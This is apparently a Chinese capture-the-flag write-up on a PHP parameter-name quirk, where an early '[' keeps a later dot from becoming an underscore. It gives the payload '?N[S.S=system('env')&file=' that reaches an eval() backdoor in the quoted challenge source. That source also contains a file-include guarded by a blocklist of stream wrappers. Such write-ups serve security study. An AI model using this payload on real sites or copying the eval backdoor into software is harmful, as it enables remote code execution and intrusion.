php后端特性

N_S.S等同于N[S.S

N[S.S => N_S.S

这是一种规范,当直接使用时则会导致一个问题无法使用

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候,php会将怪异的变量名转换成有效的,在进行解析时会删除空白符,并将空格、+、点、[ 转换为下划线。但是用一个特性是可以绕过的,就是当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了。所以这里传入的应该是?N[S.S=system(‘env’)&file=

源码是

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}
蜀ICP备2022010829号